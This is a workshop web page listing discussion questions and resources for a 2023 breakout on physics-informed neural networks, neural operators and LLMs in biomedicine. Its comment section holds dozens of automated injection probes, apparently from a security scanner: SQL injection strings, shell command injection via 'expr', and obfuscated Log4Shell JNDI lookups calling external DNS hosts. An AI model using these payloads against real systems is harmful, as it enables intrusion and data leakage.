Breakout 2 - New Mechanistic-ML Methods

Back to 2023 Agenda

Back to main Breakout Session page

 

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

  • What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
  • What are the opportunities to improve these methods?
  • How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)
  • How can these methods be applied to neuroscience?
  • How can these methods be used in the IMAG initiatives discussed in Session 2.1?
  • How can we use biomechanistic and bioinformatics models synenergistically?
  • Graph neural networks and causal inference.
  • Uncertainty quantification in neural networks.

 

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

 

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

-1'||1=='1

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

1";expr 268409241 - 55792;"

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

zt9p3ydc3acowkn-lquxozzxjwa16ruhbokv5x5g6yt.r87.me/p/

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

-1'||'a'=='a

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:38

Comment

%27

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

zt9p3ydc3acfvetqv1twulkkuq7a3n1cpriadc045kv.r87.me/p/

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

1';expr 268409241 - 51553;'

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

-1'||true||'

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

${jndi:dns://zt9p3ydc3a1sfo87u2-${lower:6}y7qo3gxa3ezkjpyesdehhlo.r87.me}

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

1';expr 268409241 - 58730;'

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

-1'||'1'=='2

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:39

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

${jndi:dns://zt${lower:9}p3ydc3axomxts6wj4fxsdqonlz1hrp8xpppzkxu8.r87.me}

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

1;expr 268409241 - 89126;x

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

-1'||'N'=='3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://zt9p3ydc3assinlffsltpgae20fr${lower:f}vtzhyk2vt_oule.r87.me}

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:40

Comment

'||'7892'=='7893

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

1;expr 268409241 - 31460;x

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

${j${env:bmV0c3Bhcmtlcg:-n}di:dns://zt9p3ydc3adhraqbqt7-egwgtozwwacdjy${lower:w}bh2voog0.r87.me}

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

'||'7891'=='7891

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

expr 268409241 - 82246;

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

${jndi:dns://${hostName${lower:}}.zt9p3ydc3a-8s4tdnv4hlhdazsnbhxawyy3gtkrrgrw.r87.me}

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:41

Comment

3

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:42

Comment

'||7890=='7890

Submitted by IRTAPPSCAN on Sat, 10/25/2025 - 22:42